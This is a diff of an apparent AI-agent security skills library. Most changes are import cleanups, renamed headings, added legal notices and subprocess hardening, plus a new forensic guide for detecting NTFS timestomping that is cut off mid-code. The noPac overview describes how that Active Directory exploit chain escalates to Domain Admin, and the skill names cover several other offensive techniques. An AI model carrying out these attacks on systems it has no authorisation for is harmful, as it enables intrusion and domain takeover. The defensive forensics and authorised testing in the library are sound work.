- sniff, sendp, get_if_hwaddr, get_if_addr6, conf, + sniff, sendp, sr, get_if_hwaddr, get_if_addr6, conf, Ether, IPv6, ICMPv6ND_RA, ICMPv6ND_NA, ICMPv6ND_NS, ICMPv6NDOptSrcLLAddr, ICMPv6NDOptPrefixInfo, ICMPv6NDOptRDNSS, ICMPv6NDOptDstLLAddr, @@ -34,7 +32,7 @@ def discover_ipv6_hosts(interface: str, timeout: int = 5) -> List[dict]: replies = [] try: - ans, _ = __import__("scapy.all", fromlist=["sr"]).sr( + ans, _ = sr( pkt, iface=interface, timeout=timeout, verbose=0, multi=True ) for sent, recv in ans: diff --git a/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md b/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md index 50caa49b..77c1269e 100644 --- a/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +++ b/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md @@ -36,6 +36,9 @@ license: Apache-2.0 - jwt_tool for automated JWT attack testing - Burp Suite with JWT Editor extension + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: JWT Token Analysis diff --git a/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py b/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py index bb2ccdaf..1ac1392a 100644 --- a/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +++ b/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py @@ -6,7 +6,6 @@ import base64 import hashlib import hmac import json -import sys from datetime import datetime, timezone diff --git a/skills/exploiting-kerberoasting-with-impacket/SKILL.md b/skills/exploiting-kerberoasting-with-impacket/SKILL.md index 4b5fbdca..24aeee12 100644 --- a/skills/exploiting-kerberoasting-with-impacket/SKILL.md +++ b/skills/exploiting-kerberoasting-with-impacket/SKILL.md @@ -23,6 +23,9 @@ Kerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that tar - Hashcat or John the Ripper for offline cracking - Wordlist (e.g., rockyou.txt, SecLists) + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## MITRE ATT&CK Mapping | Technique ID | Name | Tactic | diff --git a/skills/exploiting-kerberoasting-with-impacket/scripts/agent.py b/skills/exploiting-kerberoasting-with-impacket/scripts/agent.py index e8fc3602..e27224b4 100644 --- a/skills/exploiting-kerberoasting-with-impacket/scripts/agent.py +++ b/skills/exploiting-kerberoasting-with-impacket/scripts/agent.py @@ -3,9 +3,7 @@ import argparse import json -import os import subprocess -import sys from datetime import datetime, timezone diff --git a/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md b/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md index bdb4a480..e23471fd 100644 --- a/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md +++ b/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md @@ -26,6 +26,9 @@ license: Apache-2.0 - Knowledge of common sensitive fields (role, isAdmin, verified, balance, price) - Arjun or param-miner for hidden parameter discovery + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1 — Discover API Structure and Fields diff --git a/skills/exploiting-mass-assignment-in-rest-apis/scripts/agent.py b/skills/exploiting-mass-assignment-in-rest-apis/scripts/agent.py index 628a9a92..5297eb80 100644 --- a/skills/exploiting-mass-assignment-in-rest-apis/scripts/agent.py +++ b/skills/exploiting-mass-assignment-in-rest-apis/scripts/agent.py @@ -3,7 +3,6 @@ import argparse import json -import sys from datetime import datetime, timezone try: diff --git a/skills/exploiting-ms17-010-eternalblue-vulnerability/SKILL.md b/skills/exploiting-ms17-010-eternalblue-vulnerability/SKILL.md index 2e233193..64b43285 100644 --- a/skills/exploiting-ms17-010-eternalblue-vulnerability/SKILL.md +++ b/skills/exploiting-ms17-010-eternalblue-vulnerability/SKILL.md @@ -20,7 +20,7 @@ MS17-010 (EternalBlue) is a critical vulnerability in Microsoft's SMBv1 implemen - **T1190** - Exploit Public-Facing Application - **T1569.002** - System Services: Service Execution -## Implementation Steps +## Workflow ### Phase 1: Vulnerability Scanning 1. Scan target networks for SMB port 445 diff --git a/skills/exploiting-ms17-010-eternalblue-vulnerability/scripts/agent.py b/skills/exploiting-ms17-010-eternalblue-vulnerability/scripts/agent.py index eace4c93..d01ca88b 100644 --- a/skills/exploiting-ms17-010-eternalblue-vulnerability/scripts/agent.py +++ b/skills/exploiting-ms17-010-eternalblue-vulnerability/scripts/agent.py @@ -4,9 +4,7 @@ import argparse import json import socket -import struct import subprocess -import sys from datetime import datetime, timezone diff --git a/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md b/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md index 53a4c259..8b7bfb20 100644 --- a/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md +++ b/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md @@ -10,6 +10,9 @@ license: Apache-2.0 --- # Exploiting noPac (CVE-2021-42278 / CVE-2021-42287) + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Overview noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021. @@ -31,7 +34,7 @@ noPac is a critical exploit chain combining two Active Directory vulnerabilities - **T1558** - Steal or Forge Kerberos Tickets - **T1003.006** - OS Credential Dumping: DCSync -## Implementation Steps +## Workflow ### Phase 1: Vulnerability Scanning 1. Check if the domain is vulnerable using the noPac scanner: diff --git a/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py b/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py index ba23ed94..012cc244 100644 --- a/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +++ b/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py @@ -3,7 +3,6 @@ import argparse import json -import sys from datetime import datetime, timezone try: diff --git a/skills/exploiting-prototype-pollution-in-javascript/SKILL.md b/skills/exploiting-prototype-pollution-in-javascript/SKILL.md index 140f1a69..aedfcd0f 100644 --- a/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +++ b/skills/exploiting-prototype-pollution-in-javascript/SKILL.md @@ -26,6 +26,9 @@ license: Apache-2.0 - Prototype Pollution Gadgets Scanner Burp extension for server-side detection - Browser developer console for client-side prototype manipulation + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1 — Identify Prototype Pollution Sources diff --git a/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py b/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py index c91d59e0..299fe50b 100644 --- a/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +++ b/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py @@ -4,7 +4,6 @@ import argparse import json import re -import sys from datetime import datetime, timezone try: diff --git a/skills/exploiting-race-condition-vulnerabilities/SKILL.md b/skills/exploiting-race-condition-vulnerabilities/SKILL.md index d91730dd..0e58855f 100644 --- a/skills/exploiting-race-condition-vulnerabilities/SKILL.md +++ b/skills/exploiting-race-condition-vulnerabilities/SKILL.md @@ -26,6 +26,9 @@ license: Apache-2.0 - Target application with state-changing operations (purchases, votes, transfers) - Multiple user accounts for testing cross-user race conditions + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1 — Identify Race Condition Attack Surface diff --git a/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py b/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py index 67d41bdd..ba3c62de 100644 --- a/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +++ b/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py @@ -3,9 +3,7 @@ import argparse import json -import sys import threading -import time from datetime import datetime, timezone try: diff --git a/skills/exploiting-server-side-request-forgery/scripts/agent.py b/skills/exploiting-server-side-request-forgery/scripts/agent.py index 5d08e2df..05928a71 100644 --- a/skills/exploiting-server-side-request-forgery/scripts/agent.py +++ b/skills/exploiting-server-side-request-forgery/scripts/agent.py @@ -6,7 +6,6 @@ import argparse import json import logging import sys -import urllib.parse from typing import List try: diff --git a/skills/exploiting-smb-vulnerabilities-with-metasploit/scripts/agent.py b/skills/exploiting-smb-vulnerabilities-with-metasploit/scripts/agent.py index b9b83cef..5b60760d 100644 --- a/skills/exploiting-smb-vulnerabilities-with-metasploit/scripts/agent.py +++ b/skills/exploiting-smb-vulnerabilities-with-metasploit/scripts/agent.py @@ -11,7 +11,6 @@ from typing import List try: from impacket.smbconnection import SMBConnection - from impacket.nmb import NetBIOSTimeout from impacket import smbconnection except ImportError: sys.exit("impacket is required: pip install impacket") diff --git a/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py b/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py index a8de7159..ba1b74b4 100644 --- a/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +++ b/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py @@ -8,7 +8,7 @@ import logging import sys import time import re -from typing import List, Optional +from typing import Optional try: import requests diff --git a/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py b/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py index 63ea6177..95f204d1 100644 --- a/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +++ b/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py @@ -5,7 +5,6 @@ import argparse import json import logging -import os import subprocess import sys from datetime import datetime diff --git a/skills/exploiting-type-juggling-vulnerabilities/SKILL.md b/skills/exploiting-type-juggling-vulnerabilities/SKILL.md index 98c9ed74..f52b520b 100644 --- a/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +++ b/skills/exploiting-type-juggling-vulnerabilities/SKILL.md @@ -26,6 +26,9 @@ license: Apache-2.0 - Collection of magic hash strings from PayloadsAllTheThings - Ability to send JSON or serialized data to control input types + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1 — Identify Type Juggling Candidates diff --git a/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py b/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py index cf978c06..cb48205e 100644 --- a/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +++ b/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py @@ -3,7 +3,6 @@ import argparse import json -import sys from datetime import datetime, timezone try: diff --git a/skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md b/skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md index 67f729b5..fabfa990 100644 --- a/skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md +++ b/skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md @@ -38,7 +38,7 @@ Unlike offensive red teaming, vulnerability management uses Metasploit to: 3. **Prioritize** remediation based on proven exploitation paths 4. **Verify** patches by confirming exploits no longer succeed -## Implementation Steps +## Workflow ### Step 1: Initialize Metasploit Environment ```bash diff --git a/skills/exploiting-vulnerabilities-with-metasploit-framework/scripts/agent.py b/skills/exploiting-vulnerabilities-with-metasploit-framework/scripts/agent.py index e62c5a1e..c6c8d3c2 100644 --- a/skills/exploiting-vulnerabilities-with-metasploit-framework/scripts/agent.py +++ b/skills/exploiting-vulnerabilities-with-metasploit-framework/scripts/agent.py @@ -3,9 +3,7 @@ import argparse import json -import os import subprocess -import sys from datetime import datetime, timezone diff --git a/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md b/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md index 3553f0cc..7b7626ce 100644 --- a/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md +++ b/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md @@ -23,6 +23,9 @@ Zerologon (CVE-2020-1472) is a critical elevation of privilege vulnerability (CV - Impacket toolkit installed - Written authorization for red team engagement + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## MITRE ATT&CK Mapping | Technique ID | Name | Tactic | diff --git a/skills/exploiting-zerologon-vulnerability-cve-2020-1472/scripts/agent.py b/skills/exploiting-zerologon-vulnerability-cve-2020-1472/scripts/agent.py index 081ff16d..68b90f07 100644 --- a/skills/exploiting-zerologon-vulnerability-cve-2020-1472/scripts/agent.py +++ b/skills/exploiting-zerologon-vulnerability-cve-2020-1472/scripts/agent.py @@ -3,7 +3,6 @@ import argparse import json -import socket import subprocess import sys from datetime import datetime, timezone diff --git a/skills/extracting-browser-history-artifacts/scripts/agent.py b/skills/extracting-browser-history-artifacts/scripts/agent.py index e767f28e..a5b14c4f 100644 --- a/skills/extracting-browser-history-artifacts/scripts/agent.py +++ b/skills/extracting-browser-history-artifacts/scripts/agent.py @@ -7,9 +7,8 @@ import json import logging import os import sqlite3 -import sys from datetime import datetime, timedelta -from typing import List, Optional +from typing import List logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) diff --git a/skills/extracting-config-from-agent-tesla-rat/SKILL.md b/skills/extracting-config-from-agent-tesla-rat/SKILL.md index 52ba84a1..d6f41965 100644 --- a/skills/extracting-config-from-agent-tesla-rat/SKILL.md +++ b/skills/extracting-config-from-agent-tesla-rat/SKILL.md @@ -22,7 +22,7 @@ Agent Tesla is a .NET-based Remote Access Trojan (RAT) and keylogger that ranked - Understanding of .NET IL code and Reflection - Sandbox for dynamic analysis (ANY.RUN, CAPE) -## Practical Steps +## Workflow ### Step 1: Deobfuscate and Extract Configuration diff --git a/skills/extracting-config-from-agent-tesla-rat/scripts/agent.py b/skills/extracting-config-from-agent-tesla-rat/scripts/agent.py index 3e524fee..42f4fb25 100644 --- a/skills/extracting-config-from-agent-tesla-rat/scripts/agent.py +++ b/skills/extracting-config-from-agent-tesla-rat/scripts/agent.py @@ -7,8 +7,6 @@ import hashlib import json import os import re -import struct -import sys from datetime import datetime, timezone diff --git a/skills/extracting-credentials-from-memory-dump/scripts/agent.py b/skills/extracting-credentials-from-memory-dump/scripts/agent.py index 11fb8be5..3a564938 100644 --- a/skills/extracting-credentials-from-memory-dump/scripts/agent.py +++ b/skills/extracting-credentials-from-memory-dump/scripts/agent.py @@ -8,9 +8,8 @@ import logging import os import re import subprocess -import sys from datetime import datetime -from typing import Dict, List, Optional +from typing import List, Optional logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) diff --git a/skills/extracting-iocs-from-malware-samples/scripts/agent.py b/skills/extracting-iocs-from-malware-samples/scripts/agent.py index 64769893..0b5709a2 100644 --- a/skills/extracting-iocs-from-malware-samples/scripts/agent.py +++ b/skills/extracting-iocs-from-malware-samples/scripts/agent.py @@ -11,7 +11,7 @@ import os import re import sys from datetime import datetime -from typing import Dict, List, Optional, Set +from typing import List, Set logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) diff --git a/skills/extracting-memory-artifacts-with-rekall/scripts/agent.py b/skills/extracting-memory-artifacts-with-rekall/scripts/agent.py index 85d4ef09..c51067e8 100644 --- a/skills/extracting-memory-artifacts-with-rekall/scripts/agent.py +++ b/skills/extracting-memory-artifacts-with-rekall/scripts/agent.py @@ -1,7 +1,6 @@ #!/usr/bin/env python3 """Agent for extracting memory forensic artifacts using Rekall.""" -import os import json import argparse from datetime import datetime diff --git a/skills/extracting-windows-event-logs-artifacts/scripts/agent.py b/skills/extracting-windows-event-logs-artifacts/scripts/agent.py index f5262a59..dd58fafb 100644 --- a/skills/extracting-windows-event-logs-artifacts/scripts/agent.py +++ b/skills/extracting-windows-event-logs-artifacts/scripts/agent.py @@ -9,7 +9,7 @@ import os import sys from collections import Counter, defaultdict from datetime import datetime -from typing import Dict, List, Optional +from typing import Dict, List logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) diff --git a/skills/generating-threat-intelligence-reports/scripts/agent.py b/skills/generating-threat-intelligence-reports/scripts/agent.py index f2117498..0778fb77 100644 --- a/skills/generating-threat-intelligence-reports/scripts/agent.py +++ b/skills/generating-threat-intelligence-reports/scripts/agent.py @@ -7,7 +7,7 @@ import logging import os import sys from datetime import datetime -from typing import Dict, List, Optional +from typing import List logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) diff --git a/skills/hardening-docker-containers-for-production/SKILL.md b/skills/hardening-docker-containers-for-production/SKILL.md index 16dcd85e..ebf7f660 100644 --- a/skills/hardening-docker-containers-for-production/SKILL.md +++ b/skills/hardening-docker-containers-for-production/SKILL.md @@ -43,7 +43,7 @@ Hardening Docker containers for production involves applying security best pract - **Isolation**: Apply seccomp profiles, AppArmor/SELinux, namespace restrictions - **Auditability**: Enable content trust, log all container activity -## Implementation Steps +## Workflow ### Step 1: Harden the Dockerfile diff --git a/skills/hardening-docker-daemon-configuration/scripts/agent.py b/skills/hardening-docker-daemon-configuration/scripts/agent.py index 0432288d..759f0bbc 100644 --- a/skills/hardening-docker-daemon-configuration/scripts/agent.py +++ b/skills/hardening-docker-daemon-configuration/scripts/agent.py @@ -4,12 +4,10 @@ import argparse import json import os -import subprocess -import sys from datetime import datetime, timezone -DAEMON_JSON_PATH = "/etc/docker/daemon.json" +DAEMON_JSON_PATH = os.environ.get("DOCKER_DAEMON_JSON", "/etc/docker/daemon.json") RECOMMENDED_SETTINGS = { "icc": False, @@ -100,6 +98,7 @@ def check_docker_files(): def main(): + global DAEMON_JSON_PATH parser = argparse.ArgumentParser( description="Audit Docker daemon configuration against CIS benchmarks" ) @@ -108,7 +107,6 @@ def main(): args = parser.parse_args() print("[*] Docker Daemon Configuration Audit Agent") - global DAEMON_JSON_PATH DAEMON_JSON_PATH = args.config config = read_daemon_config() diff --git a/skills/hardening-linux-endpoint-with-cis-benchmark/scripts/agent.py b/skills/hardening-linux-endpoint-with-cis-benchmark/scripts/agent.py index 1e0a6d40..ceabe05e 100644 --- a/skills/hardening-linux-endpoint-with-cis-benchmark/scripts/agent.py +++ b/skills/hardening-linux-endpoint-with-cis-benchmark/scripts/agent.py @@ -5,16 +5,21 @@ import argparse import json import os import re +import shlex import subprocess -import sys from datetime import datetime, timezone def run_cmd(cmd, timeout=10): - """Run a shell command and return stdout.""" + """Run a command and return stdout.""" try: + # Strip shell stderr redirects since we use subprocess.DEVNULL + clean_cmd = cmd.replace("2>/dev/null", "").strip() + # Use shell only for commands with shell operators + needs_shell = any(op in clean_cmd for op in ("|", ";", "&&", "||")) return subprocess.check_output( - cmd, shell=True, text=True, errors="replace", + clean_cmd if needs_shell else shlex.split(clean_cmd), + shell=needs_shell, text=True, errors="replace", timeout=timeout, stderr=subprocess.DEVNULL ).strip() except subprocess.SubprocessError: diff --git a/skills/hunting-advanced-persistent-threats/scripts/agent.py b/skills/hunting-advanced-persistent-threats/scripts/agent.py index d226c9e3..8298591c 100644 --- a/skills/hunting-advanced-persistent-threats/scripts/agent.py +++ b/skills/hunting-advanced-persistent-threats/scripts/agent.py @@ -4,7 +4,7 @@ import json import sys import argparse -from datetime import datetime, timedelta +from datetime import datetime try: from attackcti import attack_client diff --git a/skills/hunting-credential-stuffing-attacks/scripts/agent.py b/skills/hunting-credential-stuffing-attacks/scripts/agent.py index dfb21bac..50ffe541 100644 --- a/skills/hunting-credential-stuffing-attacks/scripts/agent.py +++ b/skills/hunting-credential-stuffing-attacks/scripts/agent.py @@ -1,14 +1,11 @@ #!/usr/bin/env python3 """Agent for hunting credential stuffing attacks in authentication logs.""" -import os import json import argparse from datetime import datetime -from collections import defaultdict import pandas as pd -import numpy as np def load_auth_logs(log_path): diff --git a/skills/hunting-for-beaconing-with-frequency-analysis/scripts/agent.py b/skills/hunting-for-beaconing-with-frequency-analysis/scripts/agent.py index c573d04a..b7e4d7bc 100644 --- a/skills/hunting-for-beaconing-with-frequency-analysis/scripts/agent.py +++ b/skills/hunting-for-beaconing-with-frequency-analysis/scripts/agent.py @@ -4,9 +4,6 @@ import argparse import json import math -import os -import re -import sys from collections import defaultdict from datetime import datetime, timezone diff --git a/skills/hunting-for-command-and-control-beaconing/scripts/agent.py b/skills/hunting-for-command-and-control-beaconing/scripts/agent.py index c250b06a..54ada7de 100644 --- a/skills/hunting-for-command-and-control-beaconing/scripts/agent.py +++ b/skills/hunting-for-command-and-control-beaconing/scripts/agent.py @@ -3,11 +3,7 @@ import argparse import json -import math -import os import re -import subprocess -import sys from collections import defaultdict from datetime import datetime, timezone diff --git a/skills/hunting-for-data-exfiltration-indicators/scripts/agent.py b/skills/hunting-for-data-exfiltration-indicators/scripts/agent.py index a1da972d..e8900a5e 100644 --- a/skills/hunting-for-data-exfiltration-indicators/scripts/agent.py +++ b/skills/hunting-for-data-exfiltration-indicators/scripts/agent.py @@ -5,7 +5,6 @@ import argparse import csv import json import math -import sys from collections import defaultdict from datetime import datetime, timezone diff --git a/skills/hunting-for-data-staging-before-exfiltration/scripts/agent.py b/skills/hunting-for-data-staging-before-exfiltration/scripts/agent.py index 7dec62e2..5d7c6d44 100644 --- a/skills/hunting-for-data-staging-before-exfiltration/scripts/agent.py +++ b/skills/hunting-for-data-staging-before-exfiltration/scripts/agent.py @@ -3,9 +3,8 @@ import json import re -import os import argparse -from datetime import datetime, timedelta +from datetime import datetime from collections import defaultdict ARCHIVE_TOOLS = { diff --git a/skills/hunting-for-dcsync-attacks/scripts/agent.py b/skills/hunting-for-dcsync-attacks/scripts/agent.py index 4809754e..2fd2489a 100644 --- a/skills/hunting-for-dcsync-attacks/scripts/agent.py +++ b/skills/hunting-for-dcsync-attacks/scripts/agent.py @@ -26,7 +26,7 @@ def get_domain_controllers(): """Get list of legitimate domain controller machine accounts.""" cmd = ["powershell", "-Command", "Get-ADDomainController -Filter * | Select-Object Name, IPv4Address | ConvertTo-Json"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) dcs = [] try: data = json.loads(result.stdout) if result.stdout else [] @@ -52,7 +52,7 @@ def query_event_4662(evtx_path=None, max_events=5000): else: cmd = ["wevtutil", "qe", "Security", "/q:*[System[EventID=4662]]", "/f:xml", f"/c:{max_events}"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) for event_xml in re.findall(r"", result.stdout, re.DOTALL): try: root = ET.fromstring(event_xml) @@ -154,7 +154,7 @@ def check_replication_acls(): "Where-Object {$_.ObjectType -eq '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' -or " "$_.ObjectType -eq '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'} | " "Select-Object IdentityReference, ActiveDirectoryRights | ConvertTo-Json"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) try: acls = json.loads(result.stdout) if result.stdout else [] if isinstance(acls, dict): diff --git a/skills/hunting-for-defense-evasion-via-timestomping/SKILL.md b/skills/hunting-for-defense-evasion-via-timestomping/SKILL.md index 61ed63ed..ea9768dd 100644 --- a/skills/hunting-for-defense-evasion-via-timestomping/SKILL.md +++ b/skills/hunting-for-defense-evasion-via-timestomping/SKILL.md @@ -17,3 +17,322 @@ license: Apache-2.0 Detect timestamp manipulation by analyzing NTFS MFT entries for discrepancies between $STANDARD_INFORMATION and $FILE_NAME attributes. + +## When to Use + +- Investigating suspected anti-forensic activity where an adversary may have altered file timestamps to blend malware into legitimate directories +- Threat hunting for defense evasion (MITRE ATT&CK T1070.006) across compromised Windows systems +- Validating timeline integrity during forensic examinations of disk images or live acquisitions +- Triaging suspicious files that appear to have creation dates older than the OS installation or inconsistent with known deployment timelines +- Detecting tools like Timestomp (Metasploit), NTimeStomp, SetMACE, or PowerShell Set-ItemProperty used to alter timestamps +- Building automated detection pipelines that flag temporal anomalies in MFT data for SOC analysts + +**Do not use** as the sole detection method; advanced adversaries can manipulate both $STANDARD_INFORMATION and $FILE_NAME timestamps (though the latter requires raw disk access and is much harder). Combine with USN Journal, $LogFile, and ShimCache/Amcache analysis for corroboration. + +## Prerequisites + +- Raw $MFT file extracted from a Windows system (via FTK Imager, KAPE, or live extraction) +- `MFTECmd` (Eric Zimmerman tool) or `analyzeMFT` for MFT parsing +- Python 3.8+ with `pandas` for analysis +- Optional: `mft` Python library (`pip install mft`) for programmatic MFT parsing +- Optional: KAPE (Kroll Artifact Parser and Extractor) for automated artifact collection +- Timeline Explorer or Excel for visual analysis of parsed MFT output + +## Workflow + +### Step 1: Extract the $MFT from a Live System or Disk Image + +```powershell +# Method 1: Using KAPE to collect MFT and related artifacts +.\kape.exe --tsource C: --tdest D:\Evidence\MFT_Collection --target !SANS_Triage + +# Method 2: Using FTK Imager CLI to extract $MFT +ftkimager.exe \\.\C: D:\Evidence\mft_raw.bin --e01 --include $MFT + +# Method 3: Raw copy using RawCopy (handles locked NTFS system files) +RawCopy.exe /FileNamePath:C:0 /OutputPath:D:\Evidence\ /OutputName:$MFT +``` + +```bash +# Method 4: On a mounted forensic image in Linux +sudo mount -o ro,norecovery /dev/sdb1 /mnt/evidence +sudo icat -o 2048 /dev/sdb 0 > /mnt/output/$MFT + +# Method 5: Using sleuthkit to extract MFT from disk image +icat -o 2048 evidence.E01 0 > extracted_MFT +``` + +### Step 2: Parse the MFT with MFTECmd + +Use Eric Zimmerman's MFTECmd to produce a CSV with both $STANDARD_INFORMATION and $FILE_NAME timestamps: + +```powershell +# Parse MFT to CSV with all timestamp columns +MFTECmd.exe -f "D:\Evidence\$MFT" --csv D:\Evidence\Parsed\ --csvf mft_parsed.csv + +# The output CSV contains these critical columns: +# Created0x10 - $STANDARD_INFORMATION Created timestamp +# LastModified0x10 - $STANDARD_INFORMATION Modified timestamp +# LastAccess0x10 - $STANDARD_INFORMATION Accessed timestamp +# LastRecordChange0x10 - $STANDARD_INFORMATION Entry Modified timestamp +# Created0x30 - $FILE_NAME Created timestamp +# LastModified0x30 - $FILE_NAME Modified timestamp +# LastAccess0x30 - $FILE_NAME Accessed timestamp +# LastRecordChange0x30 - $FILE_NAME Entry Modified timestamp +``` + +### Step 3: Detect Timestomping via SI vs FN Comparison + +The core detection: $STANDARD_INFORMATION timestamps are easily modified by user-mode tools, but $FILE_NAME timestamps are updated only by the NTFS driver (kernel-mode). When SI timestamps are OLDER than FN timestamps, timestomping is likely: + +```python +import pandas as pd +from datetime import datetime, timedelta + +def load_mft_data(csv_path): + """Load MFTECmd parsed CSV output.""" + df = pd.read_csv(csv_path, low_memory=False) + + # Parse timestamp columns + timestamp_cols = [ + "Created0x10", "LastModified0x10", "LastAccess0x10", "LastRecordChange0x10", + "Created0x30", "LastModified0x30", "LastAccess0x30", "LastRecordChange0x30" + ] + + for col in timestamp_cols: + if col in df.columns: + df[col] = pd.to_datetime(df[col], errors="coerce") + + return df + +def detect_timestomping(df): + """Detect timestamp manipulation by comparing SI and FN attributes. + + Key indicators: + 1. SI Created < FN Created (SI timestamp pushed back in time) + 2. SI timestamps have nanoseconds = 0000000 (tool artifact) + 3. SI Created < FN Entry Modified (impossible under normal NTFS behavior) + 4. Large gap between SI and FN timestamps + """ + results = [] + + for idx, row in df.iterrows(): + si_created = row.get("Created0x10") + fn_created = row.get("Created0x30") + si_modified = row.get("LastModified0x10") + fn_modified = row.get("LastModified0x30") + si_entry = row.get("LastRecordChange0x10") + fn_entry = row.get("LastRecordChange0x30") + + if pd.isna(si_created) or pd.isna(fn_created): + continue + + filepath = row.get("FileName", "unknown") + parent_path = row.get("ParentPath", "") + full_path = f"{parent_path}\\{filepath}" if parent_path else filepath + indicators = [] + + # Detection 1: SI Created is BEFORE FN Created + # Under normal NTFS operations, SI Created >= FN Created + if si_created < fn_created: + delta = fn_created - si_created + indicators.append({ + "check": "SI_Created < FN_Created", + "si_value": str(si_created), + "fn_value": str(fn_created), + "delta": str(delta), + "confidence": "high" + }) + + # Detection 2: SI Modified is BEFORE FN Created + # A file cannot be modified before it was created + if pd.notna(si_modified) and si_modified < fn_created: + indicators.append({ + "check": "SI_Modified < FN_Created", + "si_value": str(si_modified), + "fn_value": str(fn_created), + "confidence": "high" + }) + + # Detection 3: Nanosecond precision check + # Many timestomping tools set timestamps with zero nanoseconds + if pd.notna(si_created): + si_created_str = str(si_created) + if ".000000" in si_created_str or si_created_str.endswith("00:00:00"): + # Check if FN has normal nanosecond precision + fn_str = str(fn_created) + if ".000000" not in fn_str: + indicators.append({ + "check": "SI_nanoseconds_zeroed", + "si_value": si_created_str, + "fn_value": fn_str, + "confidence": "medium" + }) + + # Detection 4: Large time gap between SI and FN + # Normal gap is seconds to minutes, not years + if abs((si_created - fn_created).days) > 